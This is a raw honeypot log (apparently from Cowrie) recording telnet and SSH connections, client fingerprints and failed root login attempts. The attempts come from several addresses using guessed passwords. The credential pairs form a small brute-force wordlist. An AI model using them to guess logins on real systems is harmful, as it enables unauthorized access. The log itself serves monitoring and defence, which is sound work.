{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49398,"dst_ip":"159.203.135.109","dst_port":23,"session":"0abff8bde261","protocol":"telnet","message":"New connection: 135.148.14.151:49398 (159.203.135.109:23) [session: 0abff8bde261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:25:33.531630Z"}
{"eventid":"cowrie.session.closed","duration":37.68751311302185,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:25:33.842690Z","src_ip":"135.148.14.151","session":"c11d60ccf028","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.94502067565918,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:25:39.092747Z","src_ip":"135.148.14.151","session":"b64dbb20e7f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53820,"dst_ip":"159.203.135.109","dst_port":23,"session":"abdc3cd165d7","protocol":"telnet","message":"New connection: 135.148.14.151:53820 (159.203.135.109:23) [session: abdc3cd165d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:25:43.085267Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55286,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1437ddcb85b","protocol":"telnet","message":"New connection: 135.148.14.151:55286 (159.203.135.109:23) [session: c1437ddcb85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:25:44.231716Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56072,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d51a71169d3","protocol":"telnet","message":"New connection: 135.148.14.151:56072 (159.203.135.109:23) [session: 2d51a71169d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:25:48.046388Z"}
{"eventid":"cowrie.session.closed","duration":36.56207203865051,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:25:51.406643Z","src_ip":"135.148.14.151","session":"b007160a55dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":59850,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bd16aa2d58f","protocol":"ssh","message":"New connection: 38.93.206.2:59850 (159.203.135.109:22) [session: 6bd16aa2d58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:25:59.933333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:25:59.938266Z","src_ip":"38.93.206.2","session":"6bd16aa2d58f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:25:59.989148Z","src_ip":"38.93.206.2","session":"6bd16aa2d58f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfghjkl12","message":"login attempt [root/asdfghjkl12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:26:00.142973Z","src_ip":"38.93.206.2","session":"6bd16aa2d58f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:26:01.197448Z","src_ip":"38.93.206.2","session":"6bd16aa2d58f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36070,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed475e376e03","protocol":"telnet","message":"New connection: 135.148.14.151:36070 (159.203.135.109:23) [session: ed475e376e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:26:03.230345Z"}
{"eventid":"cowrie.session.closed","duration":33.310457944869995,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:26:06.841982Z","src_ip":"135.148.14.151","session":"0abff8bde261","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51058,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d4c54ed46fb","protocol":"telnet","message":"New connection: 135.148.14.151:51058 (159.203.135.109:23) [session: 2d4c54ed46fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:26:08.272716Z"}
{"eventid":"cowrie.session.closed","duration":0.008721113204956055,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:26:08.280988Z","src_ip":"135.148.14.151","session":"2d4c54ed46fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.6254563331604,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:26:15.710579Z","src_ip":"135.148.14.151","session":"abdc3cd165d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.14432454109192,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:26:19.375919Z","src_ip":"135.148.14.151","session":"c1437ddcb85b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.462950706481934,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:26:24.509244Z","src_ip":"135.148.14.151","session":"2d51a71169d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45132,"dst_ip":"159.203.135.109","dst_port":23,"session":"56d73ae28522","protocol":"telnet","message":"New connection: 135.148.14.151:45132 (159.203.135.109:23) [session: 56d73ae28522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:26:29.389835Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50886,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4d74554e718","protocol":"telnet","message":"New connection: 135.148.14.151:50886 (159.203.135.109:23) [session: e4d74554e718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:26:36.605629Z"}
{"eventid":"cowrie.session.closed","duration":37.25888419151306,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:26:40.489092Z","src_ip":"135.148.14.151","session":"ed475e376e03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52088,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf357894c484","protocol":"telnet","message":"New connection: 135.148.14.151:52088 (159.203.135.109:23) [session: cf357894c484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:26:42.205868Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56624,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c271b1208ab","protocol":"telnet","message":"New connection: 135.148.14.151:56624 (159.203.135.109:23) [session: 0c271b1208ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:26:50.525360Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58106,"dst_ip":"159.203.135.109","dst_port":23,"session":"d75bccdc9542","protocol":"telnet","message":"New connection: 135.148.14.151:58106 (159.203.135.109:23) [session: d75bccdc9542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:26:54.032731Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33822,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b8fcfa60d0e","protocol":"telnet","message":"New connection: 135.148.14.151:33822 (159.203.135.109:23) [session: 0b8fcfa60d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:03.303438Z"}
{"eventid":"cowrie.session.closed","duration":35.1753134727478,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:04.565024Z","src_ip":"135.148.14.151","session":"56d73ae28522","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.214492082595825,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:11.820013Z","src_ip":"135.148.14.151","session":"e4d74554e718","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.90315079689026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:14.108924Z","src_ip":"135.148.14.151","session":"cf357894c484","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":34824,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca8142f3c3a6","protocol":"ssh","message":"New connection: 103.122.221.179:34824 (10.17.0.5:22) [session: ca8142f3c3a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:17.967826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:17.973360Z","src_ip":"103.122.221.179","session":"ca8142f3c3a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:18.233076Z","src_ip":"103.122.221.179","session":"ca8142f3c3a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trfnthbyf1","message":"login attempt [root/trfnthbyf1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:18.970911Z","src_ip":"103.122.221.179","session":"ca8142f3c3a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:20.220186Z","src_ip":"103.122.221.179","session":"ca8142f3c3a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.08924341201782,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:24.614490Z","src_ip":"135.148.14.151","session":"0c271b1208ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":46472,"dst_ip":"10.17.0.5","dst_port":22,"session":"b72d503e0362","protocol":"ssh","message":"New connection: 147.45.199.80:46472 (10.17.0.5:22) [session: b72d503e0362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:27.598750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:27.604960Z","src_ip":"147.45.199.80","session":"b72d503e0362","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:27.709044Z","src_ip":"147.45.199.80","session":"b72d503e0362","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex1986","message":"login attempt [root/alex1986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:28.010730Z","src_ip":"147.45.199.80","session":"b72d503e0362","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:29.114072Z","src_ip":"147.45.199.80","session":"b72d503e0362","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.16285514831543,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:29.195459Z","src_ip":"135.148.14.151","session":"d75bccdc9542","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.19400954246521,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:38.497293Z","src_ip":"135.148.14.151","session":"0b8fcfa60d0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53750,"dst_ip":"159.203.135.109","dst_port":23,"session":"87fbfdd2c884","protocol":"telnet","message":"New connection: 135.148.14.151:53750 (159.203.135.109:23) [session: 87fbfdd2c884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:45.997061Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56532,"dst_ip":"159.203.135.109","dst_port":23,"session":"80f94068e538","protocol":"telnet","message":"New connection: 135.148.14.151:56532 (159.203.135.109:23) [session: 80f94068e538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:27:52.683127Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.247.111","src_port":48758,"dst_ip":"10.17.0.5","dst_port":22,"session":"047a6a2e98de","protocol":"ssh","message":"New connection: 150.109.247.111:48758 (10.17.0.5:22) [session: 047a6a2e98de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:10.375946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:10.383950Z","src_ip":"150.109.247.111","session":"047a6a2e98de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:10.585691Z","src_ip":"150.109.247.111","session":"047a6a2e98de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234.Abcd","message":"login attempt [root/1234.Abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:11.415696Z","src_ip":"150.109.247.111","session":"047a6a2e98de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:12.619474Z","src_ip":"150.109.247.111","session":"047a6a2e98de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.23401427268982,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:20.230957Z","src_ip":"135.148.14.151","session":"87fbfdd2c884","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53502,"dst_ip":"159.203.135.109","dst_port":23,"session":"68b38ab4de1e","protocol":"telnet","message":"New connection: 135.148.14.151:53502 (159.203.135.109:23) [session: 68b38ab4de1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:23.843915Z"}
{"eventid":"cowrie.session.closed","duration":0.006499052047729492,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:23.850293Z","src_ip":"135.148.14.151","session":"68b38ab4de1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":57150,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa9c225c9638","protocol":"ssh","message":"New connection: 103.173.227.57:57150 (159.203.135.109:22) [session: aa9c225c9638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:25.029139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:25.034018Z","src_ip":"103.173.227.57","session":"aa9c225c9638","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:25.279839Z","src_ip":"103.173.227.57","session":"aa9c225c9638","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:26.017933Z","src_ip":"103.173.227.57","session":"aa9c225c9638","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43146,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bda57e8cd8e","protocol":"telnet","message":"New connection: 135.148.14.151:43146 (159.203.135.109:23) [session: 4bda57e8cd8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:26.261217Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:27.265985Z","src_ip":"103.173.227.57","session":"aa9c225c9638","protocol":"ssh"}
